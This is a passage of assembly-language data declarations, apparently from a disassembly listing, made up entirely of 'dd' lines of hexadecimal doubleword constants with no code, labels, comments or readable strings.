		dd 0BCCC8E4Ch, 0EF3D8CA5h, 876FBE73h, 57F529BFh, 0E2C321BCh
		dd 434D00CDh, 0BF5AB134h, 0C450D0DCh, 6E1383FEh, 1842AB38h
		dd 0BF46B8Eh, 109D5C09h, 75819B11h, 0FC5EABB2h,	0D101D09Fh
		dd 3342FC3Eh, 6021AA2Bh, 41C64860h, 0B02042E6h,	4C409430h
		dd 6053A3E1h, 40CCDB80h, 10019793h, 0A1B33A1Eh,	7AD333F4h
		dd 80F4D21h, 3D786100h
		dd 1101DBA6h, 51484C00h, 0C9A46FEAh, 0F82E0B5h,	339BDF32h
		dd 309BAB49h, 0A4049294h, 0D2E41CC5h, 36B7DB60h, 7669FB00h
		dd 119AD1AEh, 6099457Dh, 2C9BF540h, 44A8B000h, 5A66F51h
		dd 3D1F5928h, 0D0DC275Bh, 0BA18B69Ah, 0F7F62712h, 0D01D3C40h
		dd 97FD851h, 3F016B72h,	5F5D1C10h, 46CAC612h, 3B1804AAh
		dd 0E08A65Eh, 93C34B43h, 91482440h, 54CE5CEh, 336E8795h
		dd 0C628D2E6h, 7E7AA920h, 0ADB1002Ch, 0DDC0424Fh, 0F81ED6B5h
		dd 607C6F48h, 0A7159030h, 0B9FC2CA1h, 0C30A0C74h, 0C0B87641h
		dd 77D19867h, 3B1BAA90h, 0DDE92440h, 80CF1130h,	2FEB3D73h
		dd 40DA5C87h, 3D8DD7B0h, 0BB37B700h, 9DB6AFB2h,	694B0044h
		dd 0C304FA3Ch, 2C91F147h, 9280DE11h, 0A2447B40h, 8B810087h
		dd 0A1B78540h, 0F1CE6000h, 0FBBB12D5h, 859C94E0h, 925E4241h
		dd 0E5308668h, 498C985Bh, 2B88F8F4h, 5BC8BF80h,	4C480481h
		dd 0F1BC98A1h, 15D1028Ch, 0E7EF8682h, 5792B880h, 0F0B05A8Fh
		dd 504D0543h, 0D80F8FACh, 0A152CC51h, 6EFEEFAEh, 0C0448DD0h
		dd 0D99416A1h, 630B58BFh, 8BDC5B81h, 9AACA2E8h,	5804091Dh
		dd 3DB160CDh, 772F2BE9h, 0A311E4h, 593D8BD9h, 9687FDF8h
		dd 96BB8068h, 10D6E354h, 2580BF54h, 311EE401h, 0EBA0379Dh
		dd 0E4EEBC43h, 6F332A07h, 218DBA2h, 0FCE12460h,	30C59A00h
		dd 47F8250Bh, 9E8B0291h, 7897851Bh, 5DD9CCA0h, 791F34FFh
		dd 54CA098h, 600FA12Fh,	241D79BEh, 9914BC35h, 0BCF8D596h
		dd 0E8708C2Ch, 11AC2809h, 311C487Bh, 0BA06E66Eh, 481896E4h
		dd 809911A0h, 2FE53D75h, 9B448C97h, 3DAF00F5h, 3E092AF7h
		dd 917799F6h, 41C29E01h, 5F8ABF33h, 5858FC24h, 5C94E4B4h
		dd 0E2018B23h, 0DC7A955Bh, 0C0882818h, 9B5B00C9h, 8F120631h
		dd 61F7F055h, 38D518h, 94D741A7h, 0FBA30984h, 0A411041Dh
		dd 0A37BE480h, 2F0D01BAh, 50CC5B46h, 39577FCCh,	0B4A293EDh
		dd 394C9C4Dh, 4E44805Dh, 741186B0h, 24B0A49Ah, 0BE74820Bh
		dd 0A01C7A28h, 9D67298h, 0F9271B31h, 0C91F2020h, 5D0FBD34h
		dd 0A3FA4F3Ch, 2876718h, 0C545A841h, 78E09703h,	9E81CACEh
		dd 14EF98D0h, 3C7611B1h, 7F42C300h, 64C854CBh, 0CCE3BB2Eh
		dd 50F24674h, 45005847h, 7BC2B72Eh, 0A084C4FAh,	0E65B7858h
		dd 24E4980Fh, 8428A44Eh, 2D2F37Bh, 11CBAF9Fh, 97218CCh
		dd 0AF2FE63Dh, 0D60FAC9Ch, 0A00F3D8Ch, 0F715B6C1h, 5B7B1642h
		dd 0BBD8448Dh, 458CA023h, 0EC942DF8h, 0C4333D04h, 0E9A608C9h
		dd 0EE4674E8h, 34176400h, 7FA0CADFh, 824C5216h,	7CF97918h
		dd 885F0FFBh, 90E20235h, 0A4620834h, 60B1CC84h,	13935BDCh
		dd 2CB98C7Ah, 0E31FAEC4h, 6200855Bh, 0E6985702h, 0A734A976h
		dd 2A992F4h, 2FA06D94h,	1AC05D10h, 84A0AFFBh, 9E0390E3h
		dd 696FA7E8h, 0BAB48882h, 586B7C55h, 9310A010h,	76CC00B7h
		dd 4ED1A37h, 1CF426DFh,	41A04068h, 7B00500Ch, 0C138FB87h
		dd 0C6A4AB32h, 20B1D660h, 46171D05h, 0B4405C7Bh, 8F05C5F5h
		dd 8B481D78h, 4BFF09A8h, 0D8CC0004h, 5908E7F8h,	0C4BB8773h
		dd 0AFBE40D9h, 0E0ECA759h, 34A00FDCh, 58897F7Bh, 0B3AAB06Bh
		dd 8005E4A5h, 746B3781h, 0B24E7E03h, 2522B49h, 0C4707991h
		dd 9CAEF47Bh, 0E1BD3186h, 0C07DC72Eh, 0E89080A8h, 2F393517h
		dd 0B785C07h, 0A485CBC4h, 1876DC09h, 0AA454D0h,	0D9BF2FB3h
		dd 80AF11ECh, 7AA15A7Eh, 23448C7Ch, 3C898BCh, 5C304CC2h
		dd 73D85AB4h, 234A0514h, 85C73444h, 82A488h, 87668AF7h
		dd 0F53DC3A9h, 0C1E53330h, 92328343h, 0CB5B7E7Ch, 54978ED9h
		dd 0AE80A491h, 0A86B4D9h, 46439617h, 267BB803h,	0B58900F2h
		dd 76890C83h, 0B30088C4h, 0AA7175E6h, 133EBFh, 2917D992h
		dd 4277D859h, 82BC2B48h, 708BBB1Bh, 0C8492D00h,	20CE2085h
		dd 0E83DAC50h, 87F2F23h, 0DC001588h, 4FE33D86h,	122B4A47h
		dd 97E001F8h, 89FA5F41h, 105A8D10h, 0DAC3ECh, 281444E1h
		dd 8578B067h, 0E2AFCC01h, 0E0E5EEC7h, 66E342F8h, 0E1FDCA08h
		dd 581458A0h, 0B8D41D30h, 5187BC01h, 0BC11C8D6h, 1C350F18h
		dd 0D6BD103Ch, 31F130h,	0C52720D0h, 562FAF80h, 0C0F57F30h
		dd 9EDD5A93h, 24BF0058h, 969C678Eh, 9D1F8002h, 0CA1079C7h
		dd 8D3884CCh, 305BE061h, 8CB3ECFCh, 0C2002511h,	0C9435BC7h
		dd 0D100EB20h, 78D5C14h, 598B4Bh, 9D96B2E8h, 7B4D3A1Ch
		dd 0C03E9E0Ah, 0B02B86Ch, 0C5D5DE7Dh, 6025E4C4h, 0F0346A0Ah
		dd 8BF1133Fh, 677CD01Dh, 6100BA8Fh, 7CBF7E25h, 0F884D035h
		dd 77DF3CD8h, 178A109h,	0B8F1E882h, 5865C489h, 376028E4h
		dd 0BE024330h, 0E4B28C04h, 0B6CE610h, 149B8E2Fh, 0EF26DC02h
		dd 781DDC70h, 0C0E4DE23h, 7A828390h, 44AF3BBh, 9051F6C2h
		dd 0F78F8D02h, 27A080DFh, 134338F3h, 5CB42F7Bh,	5238CC0h
		dd 301F7EF9h, 92DE7A4Ah, 763DD700h, 55144C7h, 8E86E2E6h
		dd 0E23CA2D5h, 0DDE83328h, 0CF02099Fh, 11602BC9h, 0B1748081h
		dd 0B910D749h, 0B2F1378h, 0E88F21FAh, 29B27A66h, 803F24B9h
		dd 515BDAEBh, 2631D9CEh, 1FC8404h, 1705852h, 729FC97Ah
		dd 233448A8h, 3D77018Bh, 63A72FB7h, 80F38BDCh, 0AC4ACAB0h
		dd 89B51F5Bh, 0A8795242h, 0F86B4F3Ch, 0F323A702h, 5CC1EEE1h
		dd 0B33C307Ch, 0DA0F249Ch, 0F89B4031h, 5379C461h, 6B2EE8F3h
		dd 8825864Ch, 0E70C18FBh, 0D8B48F9Eh, 0FDD3071Ch, 0BF33F4h
		dd 7F9F9D05h, 3D1420Bh,	0DFFC4824h, 9CC5540Fh, 7BE78B0h
		dd 9E8BE61Fh, 0B4E74013h, 0C40BEBB2h, 22ABBB1Ah, 0C1C67D24h
		dd 8834BA2Ch, 747A48D3h, 8B86F58Dh, 9890C751h, 926A23A4h
		dd 83453D4Ch, 80E04F30h, 1113B040h, 944B877Ch, 8D49005Dh
		dd 75B696D8h, 3A413014h, 450E16C0h, 97DB0225h, 80D591BCh
		dd 37945255h, 0A2EB0AE2h, 4150C542h, 1F0025Bh, 0A46D339Bh
		dd 9A8E1F70h, 5AECA090h, 6A0424F1h, 2C007672h, 1057A9F6h
		dd 4AEB7325h, 3E0E8017h, 18B94587h, 9018D5D1h, 8888C750h
		dd 0B51B6900h, 5C2A37A0h, 24F0B618h, 2A467C28h,	0C4247800h
		dd 0F4D8718h, 0FCD4C855h, 9400B97Dh, 0AEF83009h, 2F22BA0h
		dd 0CAC9AB04h, 0C40D7CBh, 94D1EC8h, 0D1057504h,	89DCEA26h
		dd 0B5F7B483h, 611E24D7h, 5B7B5A3Dh, 0C3CD2CDh,	0DF18FA33h
		dd 47C313E8h, 9E4601EBh, 1712D020h, 200FADCFh, 0C7375A68h
		dd 0A2345D00h, 686DA7F4h, 7DE024E6h, 9EC200E8h,	0C1107026h
		dd 118031DEh, 0BCEB4684h, 0B59E680h, 17E20418h,	2071841Ah
		dd 0C182979h, 8030BB3Ch, 40032234h, 904C8A83h, 6079005Ch
		dd 0E00B38C4h, 0B33C4B43h, 0F949FCAEh, 98407ED4h, 189157h
		dd 76BACA84h, 2A00D6E7h, 0F913C4C8h, 16579B3Dh,	0C4B95A94h
		dd 0F224A2CCh, 80AB30A3h, 0CF334219h, 80BF3AA1h, 0C9EB3E89h
		dd 8EE40885h, 0C0B388F8h, 5D823087h, 32EA4479h,	0F90F14B0h
		dd 0D2C7A727h, 7FE8C40h, 0C099108h, 0CDB4B3B5h,	49C0BC68h
		dd 2DA06B4Bh, 487F245Ah, 0EB4D0118h, 0D411457Dh, 0E04BA39Dh
		dd 25232C2Fh, 0DD1BA00Eh, 0B06D2E47h, 8E433CD0h, 82FEFDh
		dd 8D731FF7h, 2F8546CDh, 0E154C803h, 0DCED30DCh, 0E0EA48C1h
		dd 5332C500h, 0D01F985Ah, 67B88B27h, 61B944B4h,	0D6EC5CBDh
		dd 719797Ch, 10B9F95Fh,	16CB0F45h, 1C52C089h, 80AC1E58h
		dd 8A8F4647h, 0A8A10013h, 2CA6AAEDh, 0E7279E2Dh, 8EC09827h
		dd 0F1D4503Eh, 72A6078Bh
		dd 63BD3269h, 0E3B04D1Fh, 9D00A596h, 7CA06651h,	3BB1E595h
		dd 0DD240DF3h, 7478A618h, 7900A146h, 3C53AE4Ch,	0D603D7E3h
		dd 0BF49AFADh, 0FCD2B526h, 484CD0D9h, 7B80CC0Fh, 6BDC344Dh
		dd 0BBEB4501h, 96AF8857h, 4C27BCD0h, 0AD021830h, 5AF74278h
		dd 4900F8C4h, 0C09D7591h, 0EAE49C17h, 0A8279590h, 0ECE4D910h
		dd 8D7464Ah, 3AB19F01h,	2A8D7420h, 13AC083Eh, 0C05F6E87h
		dd 1156B1F8h, 15786F10h, 0C7711878h, 0A48759F5h, 0DFC40F88h
		dd 7567C0C1h, 58ECE2B9h, 7AE67200h, 364EB670h, 0A3772731h
		dd 0EF11BC17h, 0F4589183h, 0F34751D0h, 0A700249Eh, 0A189FD82h
		dd 44F09C3Ch, 52E5421Dh, 25D8D06Bh, 68630D5Bh, 0B82E805Ah
		dd 2400F023h, 0C5F5067Eh, 3A7C3E2Eh, 0E907696Bh, 0C0693419h
		dd 222BDF78h, 0A40A8628h, 0BC64A558h, 26058CD6h, 62E80CC8h
		dd 90A6BC0Fh, 0E428D0Ah, 0D32693D0h, 99E8D704h,	68005DF1h
		dd 0D5444D48h, 9DFCC75h, 11EF5631h, 720FC58h, 0EE20009Dh
		dd 0F03929ECh, 7E00375Bh, 32D493EDh, 7977DE2h, 5DFE1CD7h
		dd 4C55B126h, 4E478C7h,	0D437F3A3h, 0D67600C1h,	4A834300h
		dd 34444F5Eh, 0FCB43817h, 7FBB327Bh, 28C2B59Ch,	0F5155CF2h
		dd 6ACBD0Ah, 0B66B2B45h, 0E0795318h, 0B2ABEC7Ch, 2A70160Ch
		dd 0FF604282h, 0F4F96F85h, 5218A079h, 0E77E7803h, 9020925Ch
		dd 123E0BCCh, 0E3D29BE1h, 820AA3BCh, 0F7A9109Dh, 782AAF13h
		dd 7AC590C1h, 0F401C432h, 6E902D5Dh, 998285Ch, 0D0F37199h
		dd 578D18ACh, 66BFA1ACh, 91AAF800h, 36A3F674h, 226201A9h
		dd 90E7ACC0h, 3ECEF077h, 0E5458C03h, 3BEDE96h, 1F709D50h
		dd 6BC7D307h, 2950888h,	3E42772Fh, 2544DCC7h, 7488E663h
		dd 4000605Eh, 517E7CD2h, 0C00C23D1h, 91AF96F9h,	0C4007DFBh
		dd 0CEB36FF8h, 0EC5E4h,	0FD215105h, 5B5619E2h, 98226Fh
		dd 339BAF7Eh, 80AD4A77h, 0CDCBE95Ch, 5B31B013h,	5D381CA6h
		dd 201C46C6h, 50B197CDh, 10201C9Ah, 19D2F7BCh, 0FEB988C7h
		dd 0A5089041h, 0B1AC3C7Dh, 39146803h, 98CB2AD9h, 57FF683h
		dd 3F84B767h, 0C80C8B92h, 5E21C0A2h, 5A4A95EEh,	0CC27A091h
		dd 6899D8h, 0C3CD3707h,	9CF83C5Ch, 9F334313h, 0A00BECA0h
		dd 0B537E9Ch, 0BF7B49F3h, 205BD492h, 2ED058h, 0C6C29F5Ch
		dd 3E87A744h, 30B5DF24h, 94F91702h, 9D878070h, 29EBD4Ch
		dd 44773D85h, 98E83B7Bh, 144E3F59h, 0AA0088DEh,	7F93E6A7h
		dd 0E4008B9Bh, 98CEA3A5h, 0D1A6CFh, 0DBF0A9EBh,	0B1FEA18Ch
		dd 0C1DAE400h, 6A8898B3h, 0E87CB5h, 0AC90EBB0h,	1694E29Bh
		dd 982F9E4Eh, 0FA002923h, 3E43976Eh, 0CA0B1279h, 8F5CD0E2h
		dd 84805E3Dh, 977C12C4h, 0AAF0E4BEh, 0C9AFD718h, 9EBF4838h
		dd 0C92F1DD4h, 0E800164Fh, 608C7682h, 9CC6648h,	4E7920Ah
		dd 0F8905384h, 14A58BFDh, 2047CD86h, 193CE1E1h,	7150F9CAh
		dd 71AA18A0h, 0F2CE0BDEh, 0B00E365h, 794D8F8Dh,	4A255875h
		dd 80E86E3Ah, 0A8FC26F7h, 3FC0ADD8h, 8D135264h,	2D45F48h
		dd 404E78A8h, 3258CC8h,	5300AC92h, 87471099h, 25A0B18h
		dd 64A70579h, 5454FF85h, 0FA40C144h, 491FE4BBh,	895F6701h
		dd 92E85285h, 0A4B8086Ch, 54021643h, 0E073A6D5h, 0FBE34960h
		dd 3F122CBEh, 2C424CF3h, 0CB30A2A2h, 0CD1B4BD6h, 0C0241A34h
		dd 878DB24Fh, 0E9F32076h, 0A90D9D0Eh, 32C20178h, 0A478A347h
		dd 0FB1EB409h, 89EF9811h, 80203808h, 0DF862B76h, 0A0BCA843h
		dd 0EE413C37h, 9503FE3Ah, 301E8ECEh, 6268109h, 79005997h
		dd 0EB2181Eh, 0B39294FDh, 87C5BB20h, 309D9D27h,	0F17A68h
		dd 28012D2h, 999B3823h,	81B03F3Bh, 0C3CB6169h, 347C9E4Dh
		dd 292EED02h, 6D40A879h, 50987E1Bh, 0E9CB2530h,	38E6359h
		dd 1AE96DA2h, 0A0C82402h, 3424EA08h, 0CB0F0AEDh, 3001E09Bh
		dd 158782C6h, 0C88D256Eh, 0C0F49A4Bh, 0FDEB7902h, 8E5C01BBh
		dd 0C4472332h, 7C2384h,	0C7219D96h, 17857471h, 2002B307h
		dd 0C6A97B54h, 813EB498h, 6E868658h, 0FA908EBDh, 54371056h
		dd 0D250049Ah, 3CB485C5h, 51701D9h, 2D18B4C6h, 4C02620h
		dd 0E33E84DBh, 940094B8h, 0FC8B28CEh, 831F4E40h, 7345B844h
		dd 0A402743Eh, 767510FEh, 60E9E4A8h, 127E409Fh,	0A21C6A44h
		dd 98808060h, 0E8ED5D40h, 0E0E45C3Ah, 483DC210h, 0CA661088h
		dd 8882C717h, 989D708Ch, 7C31DAB8h, 922F2729h, 0A011B817h
		dd 9009A880h, 0C473A5C9h, 960038F8h, 0BF75C657h, 508EB21Eh
		dd 58FFB8B4h, 12757888h, 0F4DE3223h, 0B122EB6Ch, 567C9660h
		dd 19002346h, 0E75A350Bh, 0B57B7FDAh, 7E337A09h, 0D950F10Ch
		dd 58AA18B3h, 0F1070C72h, 0D9465D77h, 0B1941479h, 4388E894h
		dd 18390015h, 0AD41E84Eh, 75A7FA6h, 0D1F2F690h,	90979458h
		dd 0DAB8F5B4h, 45111204h, 28ED2368h, 50E32477h,	0B526EBh
		dd 1EA254EEh, 8104B7F3h, 4952CD3h, 7038249Dh, 38CEEACh
		dd 0BD0F3DF1h, 0E6B8A098h, 189F49ADh, 226223CCh, 0DA009A09h
		dd 7B7DFD5Eh, 9FE77233h, 0B391C81Dh, 21279080h,	197F4283h
		dd 0F4C8B94Fh, 44FC038Fh, 0C7C2DD82h, 0AA9A6FC0h, 7F728D07h
		dd 0C9E30FF3h, 0E8EEF062h, 0CE3C00EDh, 0A423E6C1h, 841F9AB7h
		dd 38401659h, 92CB1D22h, 4D980685h, 418A4BEBh, 1100C0FCh
		dd 538E2CEEh, 0FCD618A2h, 95B1D3Dh, 484150F3h, 12321EC9h
		dd 75036877h, 2941007Bh, 112BF83Eh, 0D961AB62h,	7EEC8720h
		dd 199D5100h, 2A39311Ch, 2272AD80h, 0CCFBAF8h, 4683A67Fh
		dd 1707E4C9h, 43735234h, 3BCB2771h, 211C0898h, 3400500Bh
		dd 0C829783Ch, 0B9F270h, 546CA225h, 24EC45E7h, 4C56F314h
		dd 0AA5F014Ch, 0C708A4CCh, 0AFC146C5h, 21530898h, 0CC58D23Ch
		dd 92E30065h, 4317E584h, 0A8CA5333h, 42866800h,	2703C1CFh
		dd 7FFCEF00h, 3932CD38h, 2767AAEh, 6D29DBE8h, 409525C4h
		dd 0A8805891h, 8FC2F4A1h, 2AE86E3Bh, 71009CEBh,	8CC5C604h
		dd 435F889h, 288D87E1h,	0E2102FD2h, 1696C37Eh, 849F013h
		dd 0DC690082h, 0CA7629A9h, 0D600DBA0h, 0C65F6C7Eh, 60A6EC42h
		dd 0E07FA0E3h, 5200CDF7h, 82F6C4A9h, 19BB8F9h, 0B1D46991h
		dd 8F014EAEh, 20FAF328h, 0BE1D668Fh, 0AFD50031h, 11A1B4B9h
		dd 0F8A41541h, 87CA446h, 13735434h, 134E0970h, 0B8C31134h
		dd 0CB3878h, 8A78F49h, 0A2E12632h, 0B00084D0h, 2E6E1E40h
		dd 94A06975h, 320186DDh, 0EDE91772h, 9426AB52h,	46A46828h
		dd 342002DDh, 1CEB72F1h, 3419AE01h, 826E4E5Ch, 0F2C880CAh
		dd 0A0F14402h, 0E7BC98Ch, 0A0A9F50Fh, 8BCA441h,	819892EBh
		dd 0F0829C31h, 56E05180h, 0C68F5497h, 398D7C48h, 0E37B9E1Fh
		dd 31CAE71Eh, 70EACCDDh, 0DB803F11h, 0AF08A1CCh, 3FC13091h
		dd 1BC4CCA3h, 0D34C01C0h, 209EF6FEh, 45904062h,	0B0AC9D0h
		dd 0F8F4A7BAh, 8052138Bh, 0E8576E8Dh, 6776317Ah, 83101B08h
		dd 893DB120h, 0D3CBA1C0h, 547E6EE0h, 7873B884h,	8E1C0EFCh
		dd 2052E889h, 5AB3F164h, 102DC240h, 0C8310A6h, 79EDA8ADh
		dd 3E39009Bh, 0CC1311D3h, 0E802817Dh, 0C16C29B1h, 54AC80C8h
		dd 4D18972h, 4B4E4405h,	0AF3C900Ch, 0DC01BEDFh,	0EF5BA5A2h
		dd 898AD8Ah, 0B94C2111h, 6936BE01h, 0C880F8CEh,	142019C5h
		dd 0A2584089h, 50D08253h, 30A45068h, 0DEBEA104h, 0E62B5A2h
		dd 0BEBB4A20h, 320D0083h, 61E0C153h, 22149EABh,	398906CEh
		dd 0E313AC74h, 8B428C20h
		dd 0AECC7103h, 88E48DFBh, 48CA390h, 73533416h, 2020623Bh
		dd 6A344F04h, 743C9803h, 9B38CB40h, 2506A0C0h, 1A34A083h
		dd 0B7590399h, 234E3942h, 4B40B902h, 630DC6B2h,	20C0CC0Bh
		dd 0A2176AFCh, 0BB0C84E0h, 18D85363h, 448C5F6Eh, 3A50B612h
		dd 0C209C5A8h, 20EC4C75h, 0F4D1237Ch, 1ED031EEh, 0F215E60h
		dd 17C02088h, 3A5E5ADCh, 0E2283203h, 700513D8h,	0CB9C6197h
		dd 9048AA2h, 1903981Eh,	214EEACh, 0F2CFE978h, 0F0ACBDFAh
		dd 28CDE88h, 6E2188EEh,	116E7F7h, 0C88959ADh, 369D7DA1h
		dd 53400928h, 6CBC2090h, 0FA55FEh, 0FC9834C0h, 0C4459AD2h
		dd 50AFF003h, 3EFA846h,	0C3FF2F71h, 5D854EC2h, 0ED9C40CCh
		dd 456C2742h, 4E31503h,	0A85A1247h, 92A4A373h, 86050F40h
		dd 49015152h, 92196E92h, 0E8083F41h, 0B0D580EBh, 0B2054B26h
		dd 110DC6Eh, 55D61F1Bh,	21C64E2h, 69EE49B8h, 0B041DBF6h
		dd 8A5180Ch, 0D5A2AABEh, 0C0216671h, 5D36B60h, 0B52761DDh
		dd 152C8050h, 0FC24C37Ah, 0A4C0B0A5h, 170CE074h, 3103EC49h
		dd 10EE8218h, 0FEC5B5h,	466E20AEh, 59FB6CD2h, 263B1016h
		dd 2600B06Eh, 0A03E2F19h, 7E126CBCh, 0FC018440h, 0A20FBFC9h
		dd 0D43418EDh, 0B6621007h, 642C7CEFh, 59F2C14h,	0E913D204h
		dd 301A10D2h, 0D810BEA3h, 68E0C5A2h, 0D000BEDDh, 9D592D6Eh
		dd 1787DCh, 0B2C8773Dh,	24DEE62Fh, 652E6C0Ch, 86984Bh
		dd 0C07829ACh, 0EC9E7A68h, 44C90CBh, 1460A158h,	73235534h
		dd 211E180Bh, 34004D0Ah, 3ED3F489h, 17BE7367h, 81EA402h
		dd 0DEC03A54h, 4608A0CCh, 265622A7h, 56A640h, 6C49CF11h
		dd 0E304D18Bh, 0FA220410h, 14A660C7h, 1318E5A0h, 72EE3408h
		dd 40E3C523h, 340CAFF4h, 5F0E7980h, 7FBF2305h, 554650E8h
		dd 0A3CCD502h, 54317F08h, 0CCDD4910h, 894E581Eh, 0F16AFA00h
		dd 2CE5CBDh, 0B470D304h, 40C2B14Ah, 5F65FC40h, 0B891A4BAh
		dd 0F1181F79h, 0E5A7E012h, 0AE45B041h, 90FF021Fh, 8992D6h
		dd 0E672ABB8h, 0E092C46h, 0B03C30FFh, 770F85E0h, 0EF7DD5CBh
		dd 0A00FDE7Ch, 5AEDC0F2h, 0F178328h, 348EEE33h,	0B9D043F6h
		dd 4007231Eh, 2FE9A67Ah, 6C7285FFh, 0C1CB1880h,	71B20DFEh
		dd 336946FCh, 301FA2E8h, 2528320Ah, 3C46BC04h, 0DECCDC02h
		dd 5731D708h, 0CCA43E10h, 70EEE01h, 0E8A6E386h,	0F2FA7980h
		dd 3EE5CFAFh, 10F9773h,	2CCAAAh, 920805F7h, 0CC155DE6h
		dd 91C47126h, 825889B4h, 0E7676EF8h, 3BB30044h,	0A194EE89h
		dd 0CD4A0101h, 0F30331A4h, 0BF7C9C1h, 5D8A06A1h, 8F4142Ah
		dd 0C84FE390h, 3C8206E6h, 0D24A3080h, 2023502Eh, 3FB6800h
		dd 1FAC7038h, 97B387A0h, 6C6C2004h, 5D509096h, 0FC0A77E8h
		dd 0D491388Ah, 0F180DD91h, 0EF6E2288h, 0B0CAE742h, 0A3D10588h
		dd 0EEF0083Bh, 0D9673280h, 1761A35h, 59DA1C4Eh,	0E4E822A2h
		dd 21FD9971h, 20A06168h, 44024BCh, 296D2691h, 9DAC8250h
		dd 0D8C8F680h, 19510E92h, 4877C1CCh, 323008A4h,	649E19D2h
		dd 423D06BEh, 89E6A7ECh, 9487398h, 95007722h, 30815D11h
		dd 0D373D1h, 7C6C9E1Ah,	0EADEEFA9h, 0E81FB305h,	0A44147A2h
		dd 7CD60998h, 8CE08070h, 0F034210Eh, 0F884F172h, 1AAD037Eh
		dd 679F834h, 0CE3A01F5h, 74683FC1h, 38062A8h, 42D48652h
		dd 0EA27F896h, 0F49514F8h, 8201C867h, 1CA24F83h, 48FC3308h
		dd 8C17E8F0h, 48936105h, 648C719Dh, 8A430018h, 2AB45B4Bh
		dd 7671FCD4h, 30A33A27h, 0A88553D8h, 774BDB4h, 0CB8F456Dh
		dd 4BAE916Ch, 90699F27h, 3A890A41h, 4BFE68BFh, 1BA89110h
		dd 8D539851h, 29224980h, 50D1C802h, 6B7A7203h, 0C84533E6h
		dd 34603CFh, 0CE0B6C70h, 7AF75EB8h, 319A8BACh, 614F00A4h
		dd 0A2F0BEDAh, 14448CADh, 0BEB4004Fh, 1268ED26h, 5D04542Dh
		dd 0D0CE6E3Eh, 8F537C91h, 0CF4E9983h, 12A8A556h, 57009487h
		dd 78684083h, 9942766Dh, 0D190A978h, 7F47181Eh,	6EE5028Ah
		dd 0C6710883h, 0F8949C6Ch, 4CE7465Eh, 0DEE10028h, 0F97893F2h
		dd 0A7FD1879h, 0FC5699F0h, 1D2ABF01h, 23827681h, 3019A042h
		dd 0D50BBEA4h, 965AFDA2h, 0DE6500A0h, 81BF2FBEh, 7402E85Ch
		dd 0C0382991h, 5E4C4076h, 1D8280EEh, 0C02AB9CFh, 790A8425h
		dd 4AFC43h, 0C81FE368h,	8664AE6Ah, 4FE7950Bh, 0C740322Eh
		dd 601544ECh, 4CF941FDh, 28068A6h, 5CD7A98h, 41673E2h
		dd 0AC00B01Ah, 28CA03D8h, 13804BAFh, 0E120C140h, 6371D1F3h
		dd 3019A24Ch, 6E054731h, 40FCDBEEh, 0A6ED8899h,	77259462h
		dd 2467B092h, 180FEA42h, 4700D30Ch, 832D059Fh, 9186016h
		dd 0E40BCA3h, 3B819885h, 1623ECh, 0B4734CBAh, 94A0AEA2h
		dd 0EA498FE8h, 29BB0130h, 0B9FED876h, 696C3030h, 64E770D0h
		dd 4C605944h, 0A4094AD4h, 84E47C84h, 34D8C8E8h,	4EB42571h
		dd 7BCBC080h, 0BA0FB379h, 0A541ABD0h, 1480CAFFh, 48F4350Bh
		dd 12E818ACh, 0B8C008Ch, 9331EB2Eh, 0A1C04C51h,	28352B7Eh
		dd 7560091h, 3AA4F419h,	80395792h, 0FEC5876Fh, 0EC9EDBD9h
		dd 4E76510Ah, 23CC6BA3h, 0B3033816h, 1D42CC6Fh,	36ECF804h
		dd 1C8E5F79h, 1CB83848h, 6E0A008Ch, 4DC9045Fh, 81AAE20h
		dd 50B1018Ah, 79A8B158h, 9816188Bh, 9DEF0900h, 0D8C97192h
		dd 0BA04D858h, 0D5C81567h, 387D7603h, 20480639h, 4619F80Bh
		dd 0C3E0846Dh, 356667h,	0E30A48A9h, 6232860Dh, 25E5F440h
		dd 8887686Ch, 0F7A19219h, 91536448h, 68FB49C0h,	0A93A7Ah
		dd 0F59D4DA5h, 0E7FE1F23h, 3338E800h, 3196B028h, 0F0D8B8B5h
		dd 0C7BF01FDh, 0C227CA09h, 0B8C828D0h, 7E43E2h,	0EBDC6CC2h
		dd 2F8764D9h, 3C208BE8h, 0C4663B83h, 6891F80Ah,	8294A418h
		dd 72007F5Ch, 0B7CBD8C8h, 1F7C5F76h, 41C9E291h,	2BA20613h
		dd 0CFBC6CF1h, 4E466BCEh, 25846C8h, 8A2CCD8h, 105A3177h
		dd 98CCE04Ah, 73210072h, 50B5A5C8h, 0B43EE7h, 11F01725h
		dd 0ED80801Dh, 12A2C224h, 91E78474h, 23FB5E70h,	43FBE19Ch
		dd 0BD81FF0Dh, 0C9D868AFh, 0E4106509h, 6D7D6055h, 1963049Ch
		dd 0F2A24C80h, 96260000h, 3906883Dh, 0D9FD16B0h, 6E1C41C5h
		dd 0E3AB6ADh, 3CC01288h, 0F140A46Eh, 6A4E2037h,	4C41006Ch
		dd 9110DB42h, 7BD8988Ah, 6EB00588h, 9E72287Eh, 64989240h
		dd 0C7120F84h, 0A6CB58B7h, 0B4381064h, 258E227Ah, 6C20FAF2h
		dd 6084A2A1h, 6031E894h, 4BE6A4A6h, 822D8054h, 925D0AFCh
		dd 480F7F2h, 0A0EE6C9Eh, 0F67819DCh, 308F1431h,	0C8200FA3h
		dd 0E8503E39h, 97304924h, 0C868CB74h, 786AC054h, 0FF039DE0h
		dd 6FAAD0E3h, 7F601241h, 130C882h, 465CE4B6h, 70710F14h
		dd 52452313h, 0C404BD22h, 811F8004h, 0E0966C97h, 90CC484Ah
		dd 9E913822h, 5638D4F4h, 0FF1702D0h, 61B9D341h,	821116C8h
		dd 0B1D450F9h, 0C00645Fh, 955CA430h, 41D2EA9h, 7C4B816Dh
		dd 30C0B122h, 4E8C4DA8h, 292AB8A0h, 181178DDh, 2BA4912h
		dd 0A06E1EC4h, 331A060h, 0CFC2550h, 4E00B0B6h, 696ABC39h
		dd 64E5F8C5h, 60DFE85Ah, 2514894Fh, 9C16FF6Eh, 8956A200h
		dd 0B97802F0h, 17BC790Fh, 42068C64h, 12FE927Ch,	0F0EFD880h
		dd 0E4BC2EFBh, 0EB3E3C00h, 0BEAC67Fh, 1476B472h, 0D2E4CC91h
		dd 0F6AC4900h, 3018CF20h, 0A8A1484h, 0CE809CF5h, 44EB45C2h
		dd 0C5EA7CD9h, 40264B28h, 85D16F80h, 0A60F032Dh, 0D2226208h
		dd 0BCA41C50h, 0F7038C16h
		dd 0EECC6ED0h, 0CD683C1Eh, 6CBB6503h, 90CC7CA6h, 0E224D418h
		dd 4CC89060h, 248A044Bh, 84A0F155h, 0F2EE4BCh, 600BADB7h
		dd 304F47C8h, 0F3113B6Bh, 0EB048424h, 7EE1C9F4h, 1182D4B0h
